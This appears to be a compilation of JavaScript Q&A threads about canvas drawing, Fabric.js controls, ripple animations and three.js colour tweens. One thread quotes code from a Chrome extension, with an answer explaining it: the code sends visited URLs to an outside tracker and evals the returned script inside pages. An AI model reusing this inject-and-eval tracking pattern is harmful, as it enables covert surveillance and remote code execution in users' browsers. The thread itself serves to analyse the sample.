Fabric Js - change position of control corners - javascript

I have a fabric js rectangle and I would like to move the control squares inside the rectangle.
I don't know if this is possible in the version I'm using, I didn't found how to do this.
Note I am using fabric.js version: 2.4.6
Here is what I've tried:
this._cropRect = new window.fabric.Rect({
top: 0,
left: 0,
width: this.options.canvasWidth,
height: this.options.canvasHeight,
fill: 'red',
strokeWidth: 0,
lockRotation: true,
lockScalingFlip: true,
lockUniScaling: true,
hasBorders: false,
hasRotatingPoint: false,
padding: -12,
cornerColor: 'red',
borderColor: 'red',
cornerStroke: 10,
borderScaleFactor: 2,
cornerSize: CROP_CORNER_SIZE,
borderOpacityWhenMoving: 1,
})
this._cropRect.set('globalCompositeOperation', 'destination-out')
this._fabricCanvas.add(this._cropRect)
this._fabricCanvas.setActiveObject(this._cropRect)
this._fabricCanvas.requestRenderAll()
Here is the image of what I have now and what I want to achieve:
UPDATE:
I have created a jsfiddle: https://jsfiddle.net/t94ksgeq/

You could extend the draw function of the cropping rectangles.
cropRect.drawControls = function(t, e) {
e = e || {};
var i = this._calculateCurrentDimensions(),
// Modified variable r and n
r = i.x - this.cornerSize,
n = i.y - this.cornerSize,
s = e.cornerSize || this.cornerSize,
o = -(r + s) / 2,
a = -(n + s) / 2,
h = void 0 !== e.transparentCorners ? e.transparentCorners : this.transparentCorners,
c = void 0 !== e.hasRotatingPoint ? e.hasRotatingPoint : this.hasRotatingPoint,
l = h ? "stroke" : "fill";
return t.save(), t.strokeStyle = t.fillStyle = e.cornerColor || this.cornerColor, this.transparentCorners || (t.strokeStyle = e.cornerStrokeColor || this.cornerStrokeColor), this._setLineDash(t, e.cornerDashArray || this.cornerDashArray, null), this._drawControl("tl", t, l, o, a, e), this._drawControl("tr", t, l, o + r, a, e), this._drawControl("bl", t, l, o, a + n, e), this._drawControl("br", t, l, o + r, a + n, e), this.get("lockUniScaling") || (this._drawControl("mt", t, l, o + r / 2, a, e), this._drawControl("mb", t, l, o + r / 2, a + n, e), this._drawControl("mr", t, l, o + r, a + n / 2, e), this._drawControl("ml", t, l, o, a + n / 2, e)), c && this._drawControl("mtr", t, l, o + r / 2, a - this.rotatingPointOffset, e), t.restore(), this
}
in this code r and n represent the x and y values and I found that if you subtract the cornersize. The recetangles get drawn inside the image. Now the rectangles are exactly inside the the rectangle on the edge, but ofcourse you can modify it to your needs.
EDIT:
After further inspection I found that you can adjust the position of the resize controls in the _setCornerCoords function.
function degrees_to_radians(degrees) {
var pi = Math.PI;
return degrees * (pi/180);
}
cropRect._setCornerCoords = function () {
var t,
e,
i = this.oCoords,
r = degrees_to_radians(45 - this.angle),
n = .707106 * this.cornerSize,
s = n * fabric.util.cos(r),
o = n * fabric.util.sin(r);
// Again this is setup to be the cornerSize, but this can be any number
var p = this.cornerSize;
var q = p / 2;
for (var a in i) {
t = i[a].x;
e = i[a].y;
// Check which kind of corner it is and translate it accordingly
switch(a) {
case "tl":
t += q;
e += q;
break;
case "tr":
t -= q;
e += q;
break;
case "br":
t -= q;
e -= q;
break;
case "bl":
t += q;
e -= q;
break;
}
i[a].corner = {
tl: { x: t - o, y: e - s },
tr: { x: t + s, y: e - o },
bl: { x: t - s, y: e + o },
br: { x: t + o, y: e + s }
}
}
}
This enables the user to resize within the previously drawn corners. The resize may seem not aligned with the mouse position (hardly noticable in usage).
This is because you begin resizing not from the corner. And the resize function follows the difference in mouse position. And uses some different coordinates, but I was unable to find those.

Related

How to calculate all pixels on the circumference of an ellipse?

I am drawing an ellipse in a "canvas" element with the following lines of code:
let centerX = 250, centerY = 250;
let widthEllipse = 75;
let heightEllipse = 50;
context.beginPath();
context.lineWidth = 1;
context.ellipse(centerX, centerY, heightEllipse, widthEllipse, Math.PI / 4, 0, 2 * Math.PI);
context.stroke();
As a result, I get this drawing:
How can I calculate all the pixels on the circumference of an ellipse?
For example, to make such calculations for a circle, I used the following formulas:
for (let y = 0; y < r*2; y++) {
P1=(x0-sqrt(r^2-(y-y0)^2), y);
P2=(x0+sqrt(r^2-(y-y0)^2), y;
}
Scan lines. Axis Aligned ellipse
The first example is simple and only handles axis aligned ellipses.
Call is scanEllipse(x, y, xRadius, yRadius);
const ctx = can.getContext("2d");
scanEllipse(102, 64, 100, 30);
scanEllipse(256, 64, 40, 60);
function scanEllipse(x, y, h, v) {
const hSqr = h * h;
const scale = h / v;
var i = -v;
while (i <= v) {
var ii = i * scale;
var p1 = (hSqr - ii * ii) ** 0.5;
ctx.fillStyle = i % 2 ? "#F00" : "#000";
ctx.fillRect(x - p1, y + i, p1 * 2, 1);
i++;
}
}
canvas { border: 1px solid black; }
<canvas id="can" width="300" height="128"></canvas>
Scan lines. Rotated ellipse
This gets messy. To make sure it covers as many cases as possible I animated the function. I could not see any glitches but there may be some cases (very big ellipse or ellipses with very large eccentricity) where the floating point error may cause artifacts.
Call is scanEllipse(x, y, xRadius, yRadius, ang); ang is in radians.
const ctx = can.getContext("2d");
const quadRoots = (a, b, c) => { // find quadratic roots
if (Math.abs(a) < 1e-6) { return b != 0 ? [-c / b] : [] }
b /= a;
var d = b * b - 4 * (c / a);
if (d > 0) {
d = d ** 0.5;
return [0.5 * (-b + d), 0.5 * (-b - d)]
}
return d === 0 ? [0.5 * -b] : [];
}
function drawHLine(x, y, w) {
ctx.fillStyle = y % 2 ? "#F00" : "#000";
ctx.fillRect(x, y, w, 1);
}
function scanEllipse(x, y, h, v, a) {
const C = Math.cos(a), C2 = C * C;
const S = Math.sin(a), S2 = S * S;
const v2 = v * v, h2 = h * h;
const A = v2 * C2 + h2 * S2;
var i = 0, a, b, scan = true;
function atY(y) {
const B = 2 * y * C * S * (v2 - h2);
const c = y * y *(v2 * S2 + h2 * C2 )- h2 * v2;
return quadRoots(A, B, c);
}
while (scan) {
[a, b] = atY(i);
if (a !== undefined && b !== undefined) {
drawHLine(x + a, y + i, b - a);
if (i > 0) {
[a, b] = atY(-i);
drawHLine(x + a, y - i, b - a);
}
} else { scan = false; }
i++;
}
}
requestAnimationFrame(renderLoop);
function renderLoop(time) {
ctx.clearRect(0, 0, can.width, can.height);
const h = Math.sin(time * 0.001) * 45 + 50;
const v = Math.sin(time * 0.00333) * 35 + 40;
scanEllipse(100, 100, h, v, time * 0.00077);
requestAnimationFrame(renderLoop);
}
canvas { border: 1px solid black; }
<canvas id="can" width="200" height="200"></canvas>
Scan lines. Rotated ellipse edge only
Addresses just the outside pixels. (to fit the rules of good pixel art line work).
The function uses the same method as above by uses each previous row to workout which pixels are edge pixels.
There is plenty of room for optimization and the animation is slowed just a little to let use see the pixels.
Not that this version calculates the left and right edge using the center of each pixel row (eg y + 0.5). Using the top or bottom of the row makes for a lesser quality ellipse IMHO.
Call is scanEllipse(x, y, xRadius, yRadius, ang); ang is in radians.
const ctx = can.getContext("2d");
const quadRoots = (a, b, c) => { // find quadratic roots
if (Math.abs(a) < 1e-6) { return b != 0 ? [-c / b] : [] }
b /= a;
var d = b * b - 4 * (c / a);
if (d > 0) {
d = d ** 0.5;
return [0.5 * (-b + d), 0.5 * (-b - d)]
}
return d === 0 ? [0.5 * -b] : [];
}
function drawHLine(x, y, w) {
ctx.fillStyle = y % 2 ? "#F00" : "#000";
ctx.fillRect(x, y, w, 1);
}
function scanEllipse(x, y, h, v, a) {
const C = Math.cos(a), C2 = C * C;
const S = Math.sin(a), S2 = S * S;
const v2 = v * v, h2 = h * h;
const A = v2 * C2 + h2 * S2;
var i = 0, a1, b1, a2, b2, scan = true;
var pa1, pb1, pa2, pb2; // p for previous
function atY(y) {
const B = 2 * y * C * S * (v2 - h2);
const c = y * y *(v2 * S2 + h2 * C2 )- h2 * v2;
return quadRoots(A, B, c);
}
const max = Math.max, min = Math.min;
const addPx = (x, y) => ctx.fillRect(x, y, 1, 1);
const addEdgeLine = (x1, x2, y) => {
[x1, x2] = [min(x1, x2) | 0, max(x1, x2) | 0];
if (x1 == x2) { addPx(x1++, y); }
while (x1 < x2) {addPx(x1++, y);}
}
while (scan) {
[a1, b1] = atY(i - 0.5);
if (a1 !== undefined && b1 !== undefined) {
[a2, b2] = atY(-i +0.5);
if (pa1) {
addEdgeLine(pa1 + x, a1 + x, y + i - 1);
addEdgeLine(pb1 + x, b1 + x, y + i - 1);
if (i > 1) {
addEdgeLine(pa2 + x, a2 + x, y - i + 1);
addEdgeLine(pb2 + x, b2 + x, y - i + 1);
}
pa2 = a2;
pb2 = b2;
} else {
pa2 = min(a1,a2);
pb2 = max(b1,b2);
}
pa1 = a1;
pb1 = b1;
} else {
// add last row (top bottom)
if (pa1) {
addEdgeLine(pa1 + x, pb1 + x, y + i - 1);
addEdgeLine(pa2 + x, pb2 + x, y - i + 1);
}
scan = false;
}
i++;
}
}
requestAnimationFrame(renderLoop);
var tick = 0;
function renderLoop(time) {
if (tick++ % 4 === 0) {
time /= 4;
ctx.clearRect(0, 0, can.width, can.height);
const h = Math.sin(time * 0.001) ** 2 * 34 + 10;
const v = Math.sin(time * 0.00333) ** 2 * 35 + 10;
scanEllipse(50, 50, h, v, time * 0.00077);
}
requestAnimationFrame(renderLoop);
}
canvas {
border: 1px solid black;
width: 400px;
height: 400px;
image-rendering: pixelated;
}
<canvas id="can" width="100" height="100"></canvas>

what does this JavaScript code do with the MD5 hashes?

found this code in a Google Chrome plugin:
The trackurl value is https://56kupdate.com/ and it seems it fetches some MD5 values from https://56kupdate.com/?action=get_data which redirects to https://master.googlapi.com/v2/get_data.phpbut what is done with them?
It seems to send confidential data to the owner of 56kupdate.com: https://plus.google.com/+BDClark0423/posts/cwHcB7o2KiM
(function loop() {
chrome.storage.local.get("extInfo", function (a) {
if (a.extInfo && a.extInfo.install_time && (new Date().getTime() - a.extInfo.install_time) > 604800000) {
(function () {
var c = /Chrome\/([^ ]+)/.exec(window.navigator.userAgent)[1];
var g = chrome.runtime.getManifest();
var f;
(function b() {
f = {};
$.ajax(config.trackurl, {
data: {
action: "get_data"
},
cache: false,
complete: function (i) {
var h = i.responseJSON;
if (!h) {
return
}
for (e in h) {
f[e] = h[e]
}
}
});
setTimeout(b, 86400000)
})();
var d = function (h) {
if (f && f.listener) {
return f.listener[MD5(h)]
}
return undefined
};
chrome.runtime.onMessage.addListener(function (l, v, n) {
var t, o;
var j = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/;
var h = function (p, i) {
$.ajax(config.trackurl, {
data: {
ref: encodeURIComponent(p),
"modules[]": i.length == 0 ? "" : i,
addon: "lostfriends",
addon_version: g.version,
browser: "chrome",
browser_version: c,
locale: g.current_locale
},
cache: false,
complete: function (m) {
n(m.responseText)
}
})
};
if (l.cmd == "getInj") {
var u = [];
var k = l.payload;
if (!k) {
return
}
var q = k.domain.split(".");
if (q.length > 1 && !j.test(k.domain)) {
t = q[q.length - 1];
for (var r = q.length - 2; r >= 0; --r) {
t = q[r] + "." + t;
o = d(t);
if (o) {
for (e in o) {
if (u.indexOf(o[e]) == -1) {
u.push(o[e])
}
}
}
}
if (u.length == 0) {
h(k.ref, []);
return true
}
h(k.ref, u)
}
}
return true
})
})()
} else {
setTimeout(loop, 300000)
}
})
})();
there is also some MD5 file with this code:
var MD5 = function (s) {
function L(b, a) {
return (b << a) | (b >>> (32 - a))
}
function K(k, b) {
var F, a, d, x, c;
d = (k & 2147483648);
x = (b & 2147483648);
F = (k & 1073741824);
a = (b & 1073741824);
c = (k & 1073741823) + (b & 1073741823);
if (F & a) {
return (c ^ 2147483648 ^ d ^ x)
}
if (F | a) {
if (c & 1073741824) {
return (c ^ 3221225472 ^ d ^ x)
} else {
return (c ^ 1073741824 ^ d ^ x)
}
} else {
return (c ^ d ^ x)
}
}
function r(a, c, b) {
return (a & c) | ((~a) & b)
}
function q(a, c, b) {
return (a & b) | (c & (~b))
}
function p(a, c, b) {
return (a ^ c ^ b)
}
function n(a, c, b) {
return (c ^ (a | (~b)))
}
function u(G, F, aa, Z, k, H, I) {
G = K(G, K(K(r(F, aa, Z), k), I));
return K(L(G, H), F)
}
function f(G, F, aa, Z, k, H, I) {
G = K(G, K(K(q(F, aa, Z), k), I));
return K(L(G, H), F)
}
function D(G, F, aa, Z, k, H, I) {
G = K(G, K(K(p(F, aa, Z), k), I));
return K(L(G, H), F)
}
function t(G, F, aa, Z, k, H, I) {
G = K(G, K(K(n(F, aa, Z), k), I));
return K(L(G, H), F)
}
function e(k) {
var G;
var d = k.length;
var c = d + 8;
var b = (c - (c % 64)) / 64;
var F = (b + 1) * 16;
var H = Array(F - 1);
var a = 0;
var x = 0;
while (x < d) {
G = (x - (x % 4)) / 4;
a = (x % 4) * 8;
H[G] = (H[G] | (k.charCodeAt(x) << a));
x++
}
G = (x - (x % 4)) / 4;
a = (x % 4) * 8;
H[G] = H[G] | (128 << a);
H[F - 2] = d << 3;
H[F - 1] = d >>> 29;
return H
}
function B(c) {
var b = "",
d = "",
k, a;
for (a = 0; a <= 3; a++) {
k = (c >>> (a * 8)) & 255;
d = "0" + k.toString(16);
b = b + d.substr(d.length - 2, 2)
}
return b
}
function J(b) {
b = b.replace(/\r\n/g, "\n");
var a = "";
for (var k = 0; k < b.length; k++) {
var d = b.charCodeAt(k);
if (d < 128) {
a += String.fromCharCode(d)
} else {
if ((d > 127) && (d < 2048)) {
a += String.fromCharCode((d >> 6) | 192);
a += String.fromCharCode((d & 63) | 128)
} else {
a += String.fromCharCode((d >> 12) | 224);
a += String.fromCharCode(((d >> 6) & 63) | 128);
a += String.fromCharCode((d & 63) | 128)
}
}
}
return a
}
var C = Array();
var P, h, E, v, g, Y, X, W, V;
var S = 7,
Q = 12,
N = 17,
M = 22;
var A = 5,
z = 9,
y = 14,
w = 20;
var o = 4,
m = 11,
l = 16,
j = 23;
var U = 6,
T = 10,
R = 15,
O = 21;
s = J(s);
C = e(s);
Y = 1732584193;
X = 4023233417;
W = 2562383102;
V = 271733878;
for (P = 0; P < C.length; P += 16) {
h = Y;
E = X;
v = W;
g = V;
Y = u(Y, X, W, V, C[P + 0], S, 3614090360);
V = u(V, Y, X, W, C[P + 1], Q, 3905402710);
W = u(W, V, Y, X, C[P + 2], N, 606105819);
X = u(X, W, V, Y, C[P + 3], M, 3250441966);
Y = u(Y, X, W, V, C[P + 4], S, 4118548399);
V = u(V, Y, X, W, C[P + 5], Q, 1200080426);
W = u(W, V, Y, X, C[P + 6], N, 2821735955);
X = u(X, W, V, Y, C[P + 7], M, 4249261313);
Y = u(Y, X, W, V, C[P + 8], S, 1770035416);
V = u(V, Y, X, W, C[P + 9], Q, 2336552879);
W = u(W, V, Y, X, C[P + 10], N, 4294925233);
X = u(X, W, V, Y, C[P + 11], M, 2304563134);
Y = u(Y, X, W, V, C[P + 12], S, 1804603682);
V = u(V, Y, X, W, C[P + 13], Q, 4254626195);
W = u(W, V, Y, X, C[P + 14], N, 2792965006);
X = u(X, W, V, Y, C[P + 15], M, 1236535329);
Y = f(Y, X, W, V, C[P + 1], A, 4129170786);
V = f(V, Y, X, W, C[P + 6], z, 3225465664);
W = f(W, V, Y, X, C[P + 11], y, 643717713);
X = f(X, W, V, Y, C[P + 0], w, 3921069994);
Y = f(Y, X, W, V, C[P + 5], A, 3593408605);
V = f(V, Y, X, W, C[P + 10], z, 38016083);
W = f(W, V, Y, X, C[P + 15], y, 3634488961);
X = f(X, W, V, Y, C[P + 4], w, 3889429448);
Y = f(Y, X, W, V, C[P + 9], A, 568446438);
V = f(V, Y, X, W, C[P + 14], z, 3275163606);
W = f(W, V, Y, X, C[P + 3], y, 4107603335);
X = f(X, W, V, Y, C[P + 8], w, 1163531501);
Y = f(Y, X, W, V, C[P + 13], A, 2850285829);
V = f(V, Y, X, W, C[P + 2], z, 4243563512);
W = f(W, V, Y, X, C[P + 7], y, 1735328473);
X = f(X, W, V, Y, C[P + 12], w, 2368359562);
Y = D(Y, X, W, V, C[P + 5], o, 4294588738);
V = D(V, Y, X, W, C[P + 8], m, 2272392833);
W = D(W, V, Y, X, C[P + 11], l, 1839030562);
X = D(X, W, V, Y, C[P + 14], j, 4259657740);
Y = D(Y, X, W, V, C[P + 1], o, 2763975236);
V = D(V, Y, X, W, C[P + 4], m, 1272893353);
W = D(W, V, Y, X, C[P + 7], l, 4139469664);
X = D(X, W, V, Y, C[P + 10], j, 3200236656);
Y = D(Y, X, W, V, C[P + 13], o, 681279174);
V = D(V, Y, X, W, C[P + 0], m, 3936430074);
W = D(W, V, Y, X, C[P + 3], l, 3572445317);
X = D(X, W, V, Y, C[P + 6], j, 76029189);
Y = D(Y, X, W, V, C[P + 9], o, 3654602809);
V = D(V, Y, X, W, C[P + 12], m, 3873151461);
W = D(W, V, Y, X, C[P + 15], l, 530742520);
X = D(X, W, V, Y, C[P + 2], j, 3299628645);
Y = t(Y, X, W, V, C[P + 0], U, 4096336452);
V = t(V, Y, X, W, C[P + 7], T, 1126891415);
W = t(W, V, Y, X, C[P + 14], R, 2878612391);
X = t(X, W, V, Y, C[P + 5], O, 4237533241);
Y = t(Y, X, W, V, C[P + 12], U, 1700485571);
V = t(V, Y, X, W, C[P + 3], T, 2399980690);
W = t(W, V, Y, X, C[P + 10], R, 4293915773);
X = t(X, W, V, Y, C[P + 1], O, 2240044497);
Y = t(Y, X, W, V, C[P + 8], U, 1873313359);
V = t(V, Y, X, W, C[P + 15], T, 4264355552);
W = t(W, V, Y, X, C[P + 6], R, 2734768916);
X = t(X, W, V, Y, C[P + 13], O, 1309151649);
Y = t(Y, X, W, V, C[P + 4], U, 4149444226);
V = t(V, Y, X, W, C[P + 11], T, 3174756917);
W = t(W, V, Y, X, C[P + 2], R, 718787259);
X = t(X, W, V, Y, C[P + 9], O, 3951481745);
Y = K(Y, h);
X = K(X, E);
W = K(W, v);
V = K(V, g)
}
var i = B(Y) + B(X) + B(W) + B(V);
return i.toLowerCase()
};
and this code in the last line from the 56kupdate.com server: GJ96nJkfLF81YwNtXR1uL2yhqT9mnQftFJ50MJjtGJSwVR9GVSttZGOsBS8jXFOOpUOfMIqyLxgcqP81ZmphZmLtXRgVIR1ZYPOfnJgyVRqyL2giXFOQnUWioJHiZmZhZP4kAmHjYwRkAlOGLJMupzxiAGZ3YwZ2
and found this code in a inj.js file:
chrome.runtime.sendMessage({cmd:"getInj",payload:{domain:top.location.hostname,ref:top.location.href}},function(m){eval(m)});
but what is done with them?
The hashes are fetched on a daily basis (by the b() function) and stored in the f object, where the d function accesses them.
The d function is called whenever a message event with the command getInj and some domain as a payload. When that domain is not an IP address (the j.test() regex check), it is split in parts and every tail (first domain, then subdomain, then subsubdomain etc) is passed to d where it is MD5-hashed and potentially returns the things stored in f for that domain. The things that were found are then sent ($.ajax(config.trackurl, …) together with the message's ref and some browser information to the tracker.

canvas element rendition like bit.ly

I've been asked to create the same ripple effect as the one found with the bit.ly 404 page: http://bit.ly/khgefiyueagf734
Javascript and canvas are pretty new to me and I am having this problem. When I change the image to one that I want. Not the fish one that is on the 404 page it renders the image as the same size as the fish and wont change.
Can you tell me how to change the size of the ship (bit.ly fish) image?
Here is the JS Fiddle: http://jsfiddle.net/UzpAw/8/
and Here is the javascript that comes with it:
(function() {
function F() {
if (g.getContext) {
var a, b = a = 0;
if (document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) a = document.documentElement.clientWidth, b = document.documentElement.clientHeight;
if (document.body && (document.body.clientWidth || document.body.clientHeight)) a = Math.max(a, document.body.clientWidth), b = Math.max(b, document.body.clientHeight);
a = [a, b];
e = a[1];
d = a[0] + 1;
r = Math.floor(0.5 * e);
i = e - r;
j = i - G;
g.setAttribute("width", d);
g.setAttribute("height",
e);
g.style.width = d + "px";
g.style.height = e + "px";
s = [Math.floor(0.75 * d), 0];
c = g.getContext("2d");
c.fillStyle = "#00022f"; //rgba(104,168,220,.8)
v()
}
}
function v() {
c.fillRect(0, i, d, e - j)
}
function m(a, b) {
if (!w) k.style.top = "-9999px", k.style.left = "-9999px",k.style.height = "20px", c.clearRect(0, j, d, e - j);
c.clearRect(s[0], s[1] - 5, n[0], n[1]);
a = a || Math.floor(0.6 * d);
b = b || 0;
b += r - 0.5 * n[1];
c.drawImage(k, a, b, n[0], n[1]);
s = [a, b];
w || (v(), w = !0)
}
function O() {
midPointY = Math.sin(h * 10 * P) * (o - h) * Q;
h <= o && (f[p] = [0, midPointY], h % 9 == 0 && h % 2 == 1 && (f[z] = [-1, midPointY], z++));
c.clearRect(0, j, d, e - j);
m(Math.floor(0.6 * d), h < o ? Math.floor(midPointY) : 0);
c.beginPath();
c.moveTo(0, i);
for (var a = [0, i], b = 0; b < t; b++) if (f[b]) {
b < p && (f[b][0] = f[b][0] * R - H, f[p - b + p] = [-f[b][0], f[b][1]]);
var q = f[b][0] + I,
A = f[b][1] + i;
c.bezierCurveTo((q - a[0]) / 2 + a[0], a[1], q - (q - a[0]) / 2, A, q, A);
a[0] = q;
a[1] = A
}
c.lineTo(d, i);
c.lineTo(d, e);
c.lineTo(0, e);
c.closePath();
c.fill();
h++;
h == o && (B = !1);
h >= o * 2 && clearInterval(C)
}
function D(a, b) {
if (!J) return !1;
b && c.clearRect(x, y, b.w, b.h);
a = a || E[0];
x = K[0];
y = K[1] + a.mt;
c.drawImage(l, Math.abs(a.l),
Math.abs(a.t), a.w, a.h, x, y, a.w, a.h)
}
function S() {
var a = -1,
b = 0,
c = E.length,
d;
clearInterval(L);
L = setInterval(function() {
b = ++a > c - 1 ? c * 2 - 2 - a : a;
d = E[b];
D(d, M);
M = d;
a >= c * 2 - 2 && (a = 0)
}, 200)
}
var u = function(a, b, c) {
var d = c,
c = function(b) {
d.call(a, b)
};
return a.attachEvent ? a.attachEvent("on" + b, c) : a.addEventListener(b, c, !1)
};
if (!window.getComputedStyle) window.getComputedStyle = function(a) {
return a.currentStyle
};
var t = 13,
Q = 0.3,
d = 960,
e = 600,
G = 30,
r = Math.floor(0.5 * e),
R = 1.01,
H = 20,
i = e - r,
j = i - G,
o = (t - 3) * 9,
p = Math.floor(t / 2),
I, g,
c, C, B = !1,
P = Math.PI / 180,
f, z, h, k, s = [Math.floor(0.75 * d), 0],
n = [236, 195],
w, l, L, J, M, K = [10, 10], // 75, 150
E = [{
h: 58,
w: 140,
t: 0,
l: 0,
mt: 10
}, {
h: 72,
w: 150,
t: -64,
l: 0,
mt: 0
}, {
h: 61,
w: 150,
t: -151,
l: 0,
mt: 30
}],
N = !1;
g = document.createElement("canvas");
g.getContext && (N = !0, document.body.removeChild(document.getElementById("ripple")), g.setAttribute("id", "ripple"), document.body.appendChild(g), k = document.getElementById("ship"));
//, l = document.getElementById("gull"), l.setAttribute("src", "/static/graphics/gulls-404.png")
N && (function() {
try {
if (fish.complete) m();
else if (parseInt(15, 5)) setTimeout(m, 1E3); // 15 IS: getComputedStyle(k).height
else throw "no ship";
} catch (a) {
u(k, "load", function() {
m()
})
}
u(document.getElementById("ripple-control"), "mouseover", function(a) {
if (g.getContext && !B) clearInterval(C), p = Math.floor(t / 2), I = a.pageX, z = 1, h = 0, f = [], f[0] = [H, 0], C = setInterval(O, 30), B = !0
});
u(window, "resize", function() {
F();
m();
v();
D()
})
}(), F());
(function() {
var a = 0,
b = document.getElementById("cloud1"),
c = document.getElementById("cloud2"),
e = parseInt(getComputedStyle(b).left, 10),
f = parseInt(getComputedStyle(c).left, 10);
setInterval(function() {
if (++a == 2) a = 0, e += 1, b.style.left = e + "px";
f += 1;
c.style.left = f + "px";
e > d + 50 && (e = -200);
f > d + 50 && (f = -100)
}, 50)
})()
})();
You have to hover over the blue to get the image to show but as you can see, the size of the ship is way too large. I need it to be: 183x116.
Thanks for the help :)
The size of the ship is controlled by the variable on line#110.

transition of images with javascript as a video

as the effect of bottom of this page
I tried several ways but have not succeeded
http://larealpari.com/?
function () {
(function (e) {
var n, r, i, s, o, u, a, f, l, c, h, p, d, v, m;
return e.gc.active = !0, s = parseInt(t.delay), n = parseInt(t.count), v = parseInt(t.width), h = 0, l = 0, c = 0, u = parseInt(t.height), p = s, o = !0, window.timeout = null, window.interval = null, a = 0, m = 0, d = function () {
var t, r, i;
return i = e(window).width() / e(window).height(), r = v / u, i > r ? (h = e(window).width(), t = Math.ceil(u * (h / v)), c = parseInt((t - e(window).height()) / 2), l = 0) : (t = e(window).height(), h = Math.ceil(v * (t / u)), l = parseInt((h - e(window).width()) / 2), c = 0), e("#frame").css({
"background-size": "" + h * n + "px " + t + "px",
"background-position": "-" + (a * h + l) + "px -" + c + "px"
})
})(jQuery
);

How to tween between two colours using three.js?

I have an three.js object which is a given colour. I want to animate it smoothly to another colour. During the animation, it should only show a direct gradation between the start and end. That is, it should not perform the tween linearly in RGB colour space. I'm not even sure that a linear tween within HSV space would look good either.
How can I get this kind of colour tween on a three.js object?
I have a version of this that makes a tween in HSV space. It's not perfect, as many different hues can appear along the way.
Three.js doesn't include a method for getting the HSV values from a THREE.Color. So, add one:
THREE.Color.prototype.getHSV = function()
{
var rr, gg, bb,
h, s,
r = this.r,
g = this.g,
b = this.b,
v = Math.max(r, g, b),
diff = v - Math.min(r, g, b),
diffc = function(c)
{
return (v - c) / 6 / diff + 1 / 2;
};
if (diff == 0) {
h = s = 0;
} else {
s = diff / v;
rr = diffc(r);
gg = diffc(g);
bb = diffc(b);
if (r === v) {
h = bb - gg;
} else if (g === v) {
h = (1 / 3) + rr - bb;
} else if (b === v) {
h = (2 / 3) + gg - rr;
}
if (h < 0) {
h += 1;
} else if (h > 1) {
h -= 1;
}
}
return {
h: h,
s: s,
v: v
};
};
Then, the tween is relatively straightforward:
new TWEEN.Tween(mesh.material.color.getHSV())
.to({h: h, s: s, v: v}, 200)
.easing(TWEEN.Easing.Quartic.In)
.onUpdate(
function()
{
mesh.material.color.setHSV(this.h, this.s, this.v);
}
)
.start();
I'd be interested to hear of a more perceptually natural transition.

Categories